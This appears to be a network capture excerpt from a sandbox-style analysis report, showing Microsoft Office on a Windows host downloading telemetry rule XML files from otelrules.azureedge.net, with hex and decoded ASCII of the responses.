2024-11-21 23:11:23 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:23 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:23 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 16:37:24 GMT ETag: "0x8DD08B87243495C" x-ms-request-id: b5254561-a01e-0070-0158-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231123Z-178bfbc474bpnd5vhC1NYC4vr4000000020g00000000x9aa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:23 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-21 23:11:23 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-21 23:11:23 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-21 23:11:24 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-21 23:11:24 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-21 23:11:24 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-21 23:11:24 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-21 23:11:24 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-21 23:11:24 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-21 23:11:24 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.5	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:26 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:26 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231126Z-174c587ffdfcb7qhhC1TEB3x7000000000r0000000008v5n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:26 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.5	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:26 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:26 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231126Z-178bfbc474bgvl54hC1NYCsfuw0000000270000000001fpy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:26 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:26 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:26 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:26 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231126Z-178bfbc474btvfdfhC1NYCa2en000000024g00000000q64a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:26 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:26 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:26 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:26 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8ba1439f-101e-000b-574d-3c5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231126Z-174c587ffdfmrvb9hC1TEBtn3800000000g000000000fsma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:26 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:26 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:27 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:27 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231127Z-178bfbc474bfw4gbhC1NYCunf4000000024000000000h5c0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 23:11:27 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 23:11:28 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 23:11:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 23:11:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T231128Z-174c587ffdfb5q56hC1TEB04kg00000000h00000000057an x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
